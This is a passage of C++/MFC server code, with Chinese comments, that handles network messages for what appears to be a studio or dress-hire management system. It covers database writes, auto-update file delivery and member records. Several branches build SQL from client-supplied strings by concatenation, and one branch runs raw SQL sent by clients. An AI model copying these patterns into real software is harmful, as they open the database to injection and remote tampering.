					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if (dwToUserID == 16)		// data6字段;
				{
					ENCODE_START

					CRstUpdate rsSt;	
					rsSt.m_pDatabase=m_pConndb;
					rsSt.Open ();
					if(rsSt.IsEOF())
						rsSt.AddNew ();
					else
						rsSt.Edit ();
					rsSt.data6.m_dwDataLength=nMessageLen;
					HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); 
					rsSt.data6.m_hData=GlobalLock(hGlobal); 
					memcpy(rsSt.data6.m_hData, ptChatMessage->byFileContent, nMessageLen);
					rsSt.SetFieldDirty(&rsSt.data6);
					rsSt.SetFieldNull(&rsSt.data6,FALSE);
					rsSt.Update();
					GlobalUnlock(hGlobal); 
					rsSt.Close();
					ENCODE_END

					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if (dwToUserID == 17)		// data7字段;
				{
					CODEREPLACE_START

					CRstUpdate rsSt;	
					rsSt.m_pDatabase=m_pConndb;
					rsSt.Open ();
					if(rsSt.IsEOF())
						rsSt.AddNew ();
					else
						rsSt.Edit ();
					rsSt.data7.m_dwDataLength=nMessageLen;
					HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); 
					rsSt.data7.m_hData=GlobalLock(hGlobal); 
					memcpy(rsSt.data7.m_hData, ptChatMessage->byFileContent, nMessageLen);
					rsSt.SetFieldDirty(&rsSt.data7);
					rsSt.SetFieldNull(&rsSt.data7,FALSE);
					rsSt.Update();
					GlobalUnlock(hGlobal); 
					rsSt.Close();
					CODEREPLACE_END
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;


					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==18)
				{
					CODEREPLACE_START

					{
						CStringArray m_seldressarray;	
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						m_seldressarray.Serialize (ar);
						ar.Close();
						memfile.Detach ();
						CString sql,sql2;
						CString id=m_seldressarray.ElementAt (0);
						for(int i=0; i<m_seldressarray.GetSize (); i+=5)
						{
							sql.Format("update [dresshiredata] set [isreturn]='%s',[clerk]='%s',[returndate]='%s' where [id]='%s' and [no]='%s' ",
								m_seldressarray.ElementAt (i+2), m_seldressarray.ElementAt (i+3), m_seldressarray.ElementAt (i+4), id, m_seldressarray.ElementAt (i+1));
							MyExecuteSQL ( sql);
							UpdateDressBalance(m_seldressarray.ElementAt (i+1));
						}

					}
					CODEREPLACE_END
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==19)
				{
					CODEREPLACE_START

					{
						CStringArray m_seldressarray;	
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						m_seldressarray.Serialize (ar);
						ar.Close();
						memfile.Detach ();
						CString sql;
						CString id=m_seldressarray.ElementAt (0);
						CRecordset myset(m_pConndb);
						sql="select [no] from [dresshiredata] where [id]='"+id+"'";
						myset.Open (CRecordset::forwardOnly, sql);
						CStringArray noarray;
						while(!myset.IsEOF())
						{
							myset.GetFieldValue ("no", sql);
							if(FindArray(&noarray, sql)==-1)
								noarray.Add (sql);
							myset.MoveNext();
						}
						myset.Close();

						sql="delete from [dresshire] where [id]='"+id+"'";
						MyExecuteSQL ( sql);
						sql="delete from [dresshiredata] where [id]='"+id+"'";
						MyExecuteSQL ( sql);
						sql="delete from [client] where [id]='"+id+"'";
						MyExecuteSQL ( sql);
						for(int i=0; i<noarray.GetSize (); i++)
							UpdateDressBalance(noarray.ElementAt (i));

					}
					CODEREPLACE_END
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==211)//升级,新版，先对比文件名
				{
					// Jeff.array是客户端的;g_filedatearraynew是服务端的;
					CStringArray array;
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					{
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						array.Serialize (ar);
						ar.Close();
						memfile.Detach ();
					}
					BYTE *pData[40]={NULL};
					DWORD nDataLeng[40]={0};
					BYTE *pSumData=NULL;
					DWORD sumleng=0;
					// Jeff.filedatearray将要更新到客户端的文件;
					CStringArray filedatearray;
					int halfsize=array.GetSize()/2;					// Jeff:前一半为文件名,后一半为文件对应大小;
					int halfsize2=g_filedatearraynew.GetSize()/2;	// Jeff,同上;
					for(int i=0; i<halfsize; i++)
					{		
						for(int j=0; j<halfsize2; j++)
						{	
							//if(array.ElementAt (i).Find("5.lia")!=-1)
							//AfxMessageBox(g_filedatearraynew.ElementAt (j));
							// Jeff.前一半名称比较;
							if(array.ElementAt(i)==g_filedatearraynew.ElementAt(j))//找到文件
							{
								// Jeff.后一半大小比较;
								if(array.ElementAt(i+halfsize)!=g_filedatearraynew.ElementAt(j+halfsize2) && atoi(g_filedatearraynew.ElementAt(j+halfsize2))!=0)//大小不等，则更新
								{		
									// Jeff.为何更新的文件数大于5，剩余的就不更新???
									if(filedatearray.GetSize()>5) break;

#if 1	// Jeff.原文;
									filedatearray.Add("");//Jeff.空的?故意留的陷阱? 以面filedatearray.Serialize(ar)完成没意义;
#else
									filedatearray.Add(g_filedatearraynew.ElementAt(j));//Jeff.add;
#endif

									// Jeff.将每一个要更新的文件写入到pData里;
									CFile fp;
									fp.Open(g_mainpath+"\\系统文件\\"+array.ElementAt(i), CFile::modeRead);
									nDataLeng[i]=fp.GetLength();
									pData[i]=new BYTE[nDataLeng[i]];
									fp.Read(pData[i], nDataLeng[i]);
									fp.Close();
									sumleng+=nDataLeng[i];
								}
								break;
							}
						}
					}

					CMemFile memfile;
					CArchive ar(&memfile, CArchive::store);
					filedatearray.Serialize(ar);	// Jeff.若按原Add("");序列化的结果都是空的;
					ar.Close();

					// Jeff.将欲更新的文件名写入pSumData中;
					DWORD nArrayLength=memfile.GetLength();
					BYTE *pArrayData = memfile.Detach();
					pSumData=new BYTE[sizeof(DWORD)*40+sumleng+nArrayLength+sizeof(DWORD)];
					memcpy(pSumData, &nArrayLength, sizeof(DWORD));
					memcpy(pSumData+sizeof(DWORD), pArrayData, nArrayLength);
					delete []pArrayData;

					// Jeff.再将保存到pData里的文件数据写入pSumData中,发送给客户端;
					DWORD bytesread=0;
					for(i=0; i<40; i++)	// Jeff.魔数40 为pData数组个数.
					{
						memcpy(pSumData+sizeof(DWORD)*i+nArrayLength+sizeof(DWORD), &(nDataLeng[i]), sizeof(DWORD));
						if(nDataLeng[i])
						{
							memcpy(pSumData+sizeof(DWORD)*40+bytesread+nArrayLength+sizeof(DWORD), pData[i], nDataLeng[i]);
							bytesread+=nDataLeng[i];
							delete [](pData[i]);
						}
					}
					DWORD nDataLen=sizeof(DWORD)*40+sumleng+nArrayLength+sizeof(DWORD);

					g_sendhead.tabcount =ptChatMessage->tabcount;

					DWORD bytesRead=0;
					//	DWORD maxdataleng=1000*1024*1024;//1M

					//	maxdataleng=100*1024*1024;//1M

					//	while(nDataLen-bytesRead)
					{
						//	DWORD curleng=min(nDataLen-bytesRead, maxdataleng);

						dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nDataLen;//curleng;
						pSendData = new BYTE[dwDataLen];
						pChatMessage=(TCHAT_MESSAGE_STRU*)(pSendData+MESSAGE_HEADER_LEN);
						memset(pSendData, 0x00, dwDataLen);
						memcpy(pSendData+MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead));
						pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
						pChatMessage->tCommonMsg.wMessageId = wMessageId;
						pChatMessage->dwFromUserID = 8888;
						pChatMessage->dwToUserID = nDataLen;
						pChatMessage->wMessageLen = nDataLen;//curleng;
						memcpy(pChatMessage->byFileContent, pSumData+bytesRead, nDataLen);//curleng);
						//	bytesRead+=curleng;
						FillHeader(pSendData, wMessageId, dwDataLen-MESSAGE_HEADER_LEN);
						net_Send2((void *)pSendData, dwDataLen);
						delete [] pSendData;
					}
					delete []pSumData;
					return;
				}
				else if(dwToUserID==21)//升级 
				{
					CStringArray array;
					BYTE *szChatMessage = ptChatMessage->byFileContent;
					{
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						array.Serialize (ar);
						ar.Close();
						memfile.Detach ();
					}
					BYTE *pData[40]={NULL};
					DWORD nDataLeng[40]={0};
					BYTE *pSumData=NULL;
					DWORD sumleng=0;

					CStringArray filesarray;
					filesarray.Add ("AutoUpdate.exe");
					filesarray.Add ("skin\\1.lia");
					filesarray.Add ("skin\\2.lia");
					filesarray.Add ("skin\\3.lia");
					filesarray.Add ("skin\\4.lia");
					filesarray.Add ("skin\\10.lia");
					filesarray.Add ("skin\\logo.jpg");
					filesarray.Add ("skin\\标题-选片.jpg");
					filesarray.Add ("skin\\标题-看设计.jpg");
					filesarray.Add ("图片\\欢迎.jpg");
					filesarray.Add ("图片\\连接.jpg");
					filesarray.Add ("图片\\标题.jpg");
					filesarray.Add ("图片\\背景.jpg");
					filesarray.Add ("图片-红色风格\\欢迎.jpg");
					filesarray.Add ("图片-红色风格\\连接.jpg");
					filesarray.Add ("图片-红色风格\\标题.jpg");
					filesarray.Add ("图片-红色风格\\背景.jpg");
					filesarray.Add ("图片-红色风格\\选片.jpg");
					filesarray.Add ("图片-红色风格\\看设计.jpg");
					filesarray.Add ("skin\\1-red.lia");
					filesarray.Add ("skin\\2-red.lia");
					filesarray.Add ("skin\\10-red.lia");
					filesarray.Add ("skin\\6.lia");
					filesarray.Add ("图片\\掌中宝.jpg");
					filesarray.Add ("图片\\掌中宝.jpg");
					filesarray.Add ("regsvr32.exe");

					CStringArray filedatearray;
					for(int i=0; i<filesarray.GetSize (); i++)
					{
						if(!g_filedatearray.ElementAt (i).IsEmpty ())
						{
							if(array.ElementAt (i)!=g_filedatearray.ElementAt (i))
							{
								filedatearray.Add (g_filedatearray.ElementAt (i));
								CFile fp;
								fp.Open (g_mainpath+"\\系统文件\\"+filesarray.ElementAt (i), CFile::modeRead);
								nDataLeng[i]=fp.GetLength ();
								pData[i]=new BYTE[nDataLeng[i]];
								fp.Read (pData[i], nDataLeng[i]);
								fp.Close ();
								sumleng+=nDataLeng[i];
							}
						}
					}

					CMemFile memfile;
					CArchive ar(&memfile, CArchive::store);
					filedatearray.Serialize (ar);
					ar.Close();
					DWORD nArrayLength=memfile.GetLength ();
					BYTE *pArrayData = memfile.Detach();
					pSumData=new BYTE[sizeof(DWORD)*40+sumleng+nArrayLength+sizeof(DWORD)];
					memcpy(pSumData, &nArrayLength, sizeof(DWORD));
					memcpy(pSumData+sizeof(DWORD), pArrayData, nArrayLength);
					delete []pArrayData;

					DWORD bytesread=0;
					for(i=0; i<40; i++)
					{
						memcpy(pSumData+sizeof(DWORD)*i+nArrayLength+sizeof(DWORD), &(nDataLeng[i]), sizeof(DWORD));
						if(nDataLeng[i])
						{
							memcpy(pSumData+sizeof(DWORD)*40+bytesread+nArrayLength+sizeof(DWORD), pData[i], nDataLeng[i]);
							bytesread+=nDataLeng[i];
							delete [](pData[i]);
						}
					}
					DWORD nDataLen=sizeof(DWORD)*40+sumleng+nArrayLength+sizeof(DWORD);

					g_sendhead.tabcount =ptChatMessage->tabcount;

					//DWORD bytesRead=0;

					//	DWORD maxdataleng=1000*1024*1024;//1M
					//	while(nDataLen-bytesRead)
					{
						//	DWORD curleng=min(nDataLen-bytesRead, maxdataleng);

						dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nDataLen;//curleng;
						pSendData = new BYTE[dwDataLen];
						pChatMessage=(TCHAT_MESSAGE_STRU*)(pSendData+MESSAGE_HEADER_LEN);
						memset(pSendData, 0x00, dwDataLen);
						memcpy(pSendData+MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead));
						pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
						pChatMessage->tCommonMsg.wMessageId = wMessageId;
						pChatMessage->dwFromUserID = 8888;
						pChatMessage->dwToUserID = nDataLen;
						pChatMessage->wMessageLen = nDataLen;//curleng;
						//	memcpy(pChatMessage->byFileContent, pSumData+bytesRead, nDataLen);//curleng);
						memcpy(pChatMessage->byFileContent, pSumData+0, nDataLen);//curleng);
						//	bytesRead+=curleng;

						FillHeader(pSendData, wMessageId, dwDataLen-MESSAGE_HEADER_LEN);
						net_Send2((void *)pSendData, dwDataLen);
						delete [] pSendData;
					}
					delete []pSumData;
					return;
				}
				else if(dwToUserID==22 && g_bLogindataprocess==0)
				{
					g_bLogindataprocess=1;
					{
						CStringArray logindataarray;
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						logindataarray.Serialize (ar);
						ar.Close();
						memfile.Detach ();
						CString sql;
						/*CString lastdate=logindataarray.ElementAt (logindataarray.GetSize ()-1);
						CString firstdate=logindataarray.ElementAt (1);
						CString count1,count2;

						CRecordset myset(m_pConndb);
						sql="select count(*) as cot from lonindata where datetime='"+lastdate+"' ";
						myset.Open (CRecordset::forwardOnly, sql);
						myset.GetFieldValue ("cot", count1);
						myset.Close();

						sql="select count(*) as cot from lonindata where datetime='"+firstdate+"' ";
						myset.Open (CRecordset::forwardOnly, sql);
						myset.GetFieldValue ("cot", count2);
						myset.Close();*/

						CStringArray array1,array2;
						CRstLoninData rsSt;	rsSt.m_pDatabase=m_pConndb; 
						rsSt.Open();
						while(!rsSt.IsEOF())
						{
							array1.Add(rsSt.no) ;
							array2.Add(rsSt.datetime) ;
							rsSt.MoveNext(); 
						}
						rsSt.Close();

						if(1)//0==atol(count1) || 0==atol(count2))
						{
							// if(logindataarray.GetSize ())
							// WriteLogin("指纹数据传输中");
							for(int i=0; i<logindataarray.GetSize (); i+=2)
							{
								if(g_pMainWnd->m_bTerminate)break;
								BOOL bFind=0;
								for(int j=0; j<array1.GetSize(); j++)
								{
									if(array1.ElementAt (j)==logindataarray.ElementAt (i) && array2.ElementAt (j)==logindataarray.ElementAt (i+1))
									{
										bFind=1;break;
									}
								}
								if(bFind)continue;

								/*	{
								CRecordset myset(m_pConndb);
								sql="select count(*) as cot from lonindata where no='"+logindataarray.ElementAt (i)+"' and datetime='"+logindataarray.ElementAt (i+1)+"' ";
								myset.Open (CRecordset::forwardOnly, sql);
								myset.GetFieldValue ("cot", sql);
								myset.Close();
								}*/
								if(1)//atoi(sql)==0)
								{
									sql.Format ("insert into lonindata([no],[datetime])values('%s','%s')", logindataarray.ElementAt (i), logindataarray.ElementAt (i+1));
									MyExecuteSQL ( sql);
								}
								::Sleep(10);//Jeff.Sleep会造成很大的问题,如主线程停止工作,那此时非线程的SetTimer将不工作;
							}
							//	if(logindataarray.GetSize ())WriteLogin("指纹数据传输完毕");
						}
						g_bLogindataprocess=0;
					}
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(dwToUserID==23)
				{
					CODEREPLACE_START

					{
						CStringArray m_seldressarray;	
						BYTE *szChatMessage = ptChatMessage->byFileContent;
						CMemFile memfile;
						memfile.Attach (szChatMessage, nMessageLen);
						CArchive ar(&memfile, CArchive::load);
						m_seldressarray.Serialize (ar);
						ar.Close();
						memfile.Detach ();
						CString sql;
						CString id=m_seldressarray.ElementAt (0);
						sql="delete from [loninbanset] where [weekname]='"+id+"'";
						MyExecuteSQL ( sql);

						for(int i=1; i<m_seldressarray.GetSize (); i+=8)
						{
							sql="insert into loninbanset(weekname,name,banname1,banname2,banname3,banname4,banname5,banname6,banname7)values('"+id+"','"+m_seldressarray.ElementAt (i+0)+"','"+m_seldressarray.ElementAt (i+1)+"','"+m_seldressarray.ElementAt (i+2)+"','"+m_seldressarray.ElementAt (i+3)+"','"+m_seldressarray.ElementAt (i+4)+"','"+m_seldressarray.ElementAt (i+5)+"','"+m_seldressarray.ElementAt (i+6)+"','"+m_seldressarray.ElementAt (i+7)+"')";
							MyExecuteSQL ( sql);
						}
					}
					CODEREPLACE_END
					BYTE szDataBuf[2]={0,0};
					int nDataLen=1;
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;

					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;

					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else if(ptChatMessage->bsql)//执行sql语句
				{
					char *szChatMessage = new char[nMessageLen];
					CODEREPLACE_START

					memset(szChatMessage, 0x00, nMessageLen);
					memcpy(szChatMessage, ptChatMessage->byFileContent, nMessageLen);
					CODEREPLACE_END

					CString sql=szChatMessage;
					delete []szChatMessage;

					//WriteLogin(sql);	// Jeff
					sql.Replace("msgtimestamp2", CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S"));
					sql.Replace("msgtimestamp", CTime::GetCurrentTime ().Format ("%Y%m%d%H%M%S"));
					sql.Replace("msgtimexxstamp", (CTime::GetCurrentTime ()+CTimeSpan(0,0,0,3)).Format ("%Y%m%d%H%M%S"));
					sql.Replace("curtimereplace", CTime::GetCurrentTime ().Format ("%H:%M:%S"));

					DWORD count=0;
					if(dwToUserID!=100)
					{
						if(sql.Find ("select max(id)")!=-1)
						{
							MyLock lock("getmaxid");
							CRecordset myset(m_pConndb);
							myset.Open (CRecordset::forwardOnly, sql);
							if(!myset.IsEOF())
							{
								myset.GetFieldValue ("cot", sql);
								if(sql.GetLength ()>3)	
									count=atol(sql.Right (3));
								else
									count=0;
							}
							else
								count=0;
							myset.Close();
						}
						else if(sql.Find ("select max(spid)")!=-1)
						{
							CRecordset myset(m_pConndb);
							myset.Open (CRecordset::forwardOnly, sql);
							if(!myset.IsEOF())
							{
								myset.GetFieldValue ("cot", sql);count=atol(sql);
							}
							else
								count=0;
							myset.Close();
						}
						else if(sql.Find ("select count(*)")!=-1)
						{
							CRecordset myset(m_pConndb);
							myset.Open (CRecordset::forwardOnly, sql);
							if(!myset.IsEOF())
							{
								myset.GetFieldValue ("cot", sql);	count=atol(sql);
							}
							else
								count=0;
							myset.Close();
						}
						else if(sql.Find ("update version set [setcheck1]='ok'")!=-1)
						{

							UpdateBuKuan3();
							/*	CRecordset myset(m_pConndb);
							myset.Open (CRecordset::forwardOnly, sql);
							if(!myset.IsEOF())
							{
							myset.GetFieldValue ("cot", sql);	count=atol(sql);
							}
							else
							count=0;
							myset.Close();*/

						}
						else if(sql.Find( "[phones]=")!=-1)
						{
							CString str=CTime::GetCurrentTime ().Format ("%Y");
							count=0;
							CRecordset myset(m_pConndb);
							myset.Open (CRecordset::forwardOnly, "select * from sendreg where "+sql);
							while(!myset.IsEOF ())
							{
								myset.GetFieldValue ("timestamp", sql);
								if(sql.Left (4)==str)
								{
									count=1;
									break;
								}
								myset.MoveNext ();
							}
							myset.Close();
						}
						else
						{
							try
							{
								int pos=sql.Find ("update [dressinfo]");
								if(pos!=-1)
								{
									MyExecuteSQL ( sql);
									pos=sql.ReverseFind ('=');
									sql=sql.Right (sql.GetLength ()-pos-1);
									sql.TrimLeft ("'");
									sql.TrimRight ("'");
									UpdateDressBalance(sql);
								}
								else if(sql.Find ("***")!=-1)
								{	
									pos=sql.Find ("***");
									while(pos!=-1)
									{
										MyExecuteSQL( sql.Left (pos));
										sql=sql.Right (sql.GetLength ()-pos-3);
										pos=sql.Find ("***");
									}
									MyExecuteSQL ( sql);
								}
								else if(sql.Find ("@@@")!=-1)
								{
									pos=sql.Find ("@@@");
									while(pos!=-1)
									{
										MyExecuteSQL( sql.Left (pos));
										sql=sql.Right (sql.GetLength ()-pos-3);
										pos=sql.Find ("@@@");
									}
									UpdateMemberCard (sql);
								}
								else if(sql.Find ("~~~~")!=-1)
								{
									pos=sql.Find ("~~~~");
									while(pos!=-1)
									{
										MyExecuteSQL( sql.Left (pos));
										sql=sql.Right (sql.GetLength ()-pos-4);
										pos=sql.Find ("~~~~");
									}
									UpdateMemberCard3 (sql);
								}
								else if(sql.Find ("~~~")!=-1)
								{
									pos=sql.Find ("~~~");
									while(pos!=-1)
									{
										MyExecuteSQL( sql.Left (pos));
										sql=sql.Right (sql.GetLength ()-pos-3);
										pos=sql.Find ("~~~");
									}
									UpdateMemberCard2 (sql);
								}
								else if(sql.Find ("%%%")!=-1)
								{
									pos=sql.Find ("%%%");
									while(pos!=-1)
									{
										MyExecuteSQL( sql.Left (pos));
										sql=sql.Right (sql.GetLength ()-pos-3);
										pos=sql.Find ("%%%");
									}
									DeleteMemberReg (sql);
								}
								else if(sql.Find ("###")!=-1)
								{
									pos=sql.Find ("###");
									while(pos!=-1)
									{
										MyExecuteSQL( sql.Left (pos));
										sql=sql.Right (sql.GetLength ()-pos-3);
										pos=sql.Find ("###");
									}
									UpdateBuKuan (sql);
								}
								else if(sql.Find ("$$$")!=-1)
								{
									pos=sql.Find ("$$$");
									while(pos!=-1)
									{
										MyExecuteSQL( sql.Left (pos));
										sql=sql.Right (sql.GetLength ()-pos-3);
										pos=sql.Find ("$$$");
									}
									UpdateBuKuan2 (sql);
								}
								else if(sql.Find ("&&&")!=-1)
								{
									pos=sql.Find ("&&&");
									while(pos!=-1)
									{
										MyExecuteSQL( sql.Left (pos));
										sql=sql.Right (sql.GetLength ()-pos-3);
										pos=sql.Find ("&&&");
									}
									Updatememberreg2 (sql);
								}
								else if(sql.Find ("^^^")!=-1)
								{
									pos=sql.Find ("^^^");
									while(pos!=-1)
									{
										MyExecuteSQL( sql.Left (pos));
										sql=sql.Right (sql.GetLength ()-pos-3);
										pos=sql.Find ("^^^");
									}
									UpdateBurnCdReg (sql);
								}
								else
								{
									MyExecuteSQL ( sql);
								}
							}
							catch(...)
							{
							}
						}
					}

					DWORD szDataBuf[2]={count,0};
					int nDataLen=sizeof(DWORD);
					dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ;
					pSendData = new BYTE[dwDataLen];
					pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData;
					memset(pChatMessage, 0x00, dwDataLen);
					memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));
					pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
					pChatMessage->tCommonMsg.wMessageId = wMessageId;
					pChatMessage->dwFromUserID = dwFromUserID;
					pChatMessage->dwToUserID = nDataLen;
					pChatMessage->wMessageLen = nDataLen;
					memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);
				}
				else
				{
					CString sql;
					if(nMessageLen>1)
					{
						char *szChatMessage = new char[nMessageLen];
						memset(szChatMessage, 0x00, nMessageLen);
						memcpy(szChatMessage, ptChatMessage->byFileContent, nMessageLen);
						sql=szChatMessage;
						delete []szChatMessage;
					}

					// Jeff.以分号来分隔SQL filter过滤条件;
					CString filter[15]={""};
					if(!sql.IsEmpty())
					{
						int i=0;
						int pos=sql.Find(";");
						while(pos!=-1)
						{
							filter[i]=sql.Left(pos);
							i++;
							sql=sql.Right(sql.GetLength()-pos-1);
							pos=sql.Find(";");
						}
						filter[i]=sql;
					}

					BYTE *pReturn[15]={NULL};
					int i;
					DWORD nSumReturnLeng=0;
					if(ptChatMessage->tabcount==100)//自动发短信
					{	
						i=0;
						GetDataFromCodeMsg(g_sendhead.code[i], &(pReturn[i]), g_sendhead.length[i], g_sendhead.count[i]);
						nSumReturnLeng+=g_sendhead.length[i];
						ptChatMessage->tabcount=1;
					}
					else
					{
						CDatabase *m_pConndbTemp;
						for( i=0; i<ptChatMessage->tabcount; i++)
						{
							g_sendhead.code[i]=ptChatMessage->code[i];
							m_pConndbTemp=m_pConndb;

							GetDataFromCode(g_sendhead.code[i], &(pReturn[i]), g_sendhead.length[i], g_sendhead.count[i],filter[i]);
						
							m_pConndb=m_pConndbTemp;
							nSumReturnLeng+=g_sendhead.length[i];
						}
					}
					g_sendhead.tabcount =ptChatMessage->tabcount;


					if(1)//nSumReturnLeng-bytesRead)
					{
						dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nSumReturnLeng;
						pSendData = new BYTE[dwDataLen];
						pChatMessage=(TCHAT_MESSAGE_STRU*)(pSendData+MESSAGE_HEADER_LEN);
						memset(pSendData, 0x00, dwDataLen);
						memcpy(pSendData+MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead));
						pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID;
						pChatMessage->tCommonMsg.wMessageId = wMessageId;
						pChatMessage->dwFromUserID = dwFromUserID;
						pChatMessage->dwToUserID = nSumReturnLeng;
						pChatMessage->wMessageLen = nSumReturnLeng;

						DWORD bytesRead=0;
						for( i=0; i<ptChatMessage->tabcount; i++)
						{
							memcpy(pChatMessage->byFileContent+bytesRead, pReturn[i], g_sendhead.length[i]);
							bytesRead+=g_sendhead.length[i];
						}

						FillHeader(pSendData, wMessageId, dwDataLen-MESSAGE_HEADER_LEN);

						net_Send2((void *)pSendData, dwDataLen);

						delete [] pSendData;
					}
					return;
				}
			}
			TMessageHeader tHeader = {0};
			tHeader.wMessageId = wMessageId;
			tHeader.dwDataLen = dwDataLen;
			dwToUserID=dwDataLen;

			net_Send(&tHeader, (void *)pChatMessage, dwDataLen);
		}
	}
	catch(...)
	{

	}
}

// void ConvertToPrice(CString &str)
// {
// 	if(str.Find ('.')==-1)return;
// 	str.TrimRight ('0');
// 	str.TrimRight ('.');
// }
// 
// void SortArray(CArray<CStringArray, CStringArray>*List1array, int pos)
// {
// 	CString  stemp;
// 	int last = List1array->GetSize () - 1;
// 	int ret=last;
// 	bool sorted = true;
// 	do
// 	{
// 		sorted = true;
// 		for (int i = 0; i < last; i++) 
// 		{
// 			if (List1array->ElementAt (i).ElementAt (pos) < List1array->ElementAt (i+1).ElementAt (pos))
// 			{
// 				for(int a=0; a<List1array->ElementAt (i).GetSize(); a++)
// 				{
// 					stemp = List1array->ElementAt (i).ElementAt (a);
// 					List1array->ElementAt (i).SetAt (a, List1array->ElementAt (i+1).ElementAt (a));
// 					List1array->ElementAt (i+1).SetAt (a, stemp);
// 				}
// 				sorted = false;
// 			}
// 		}
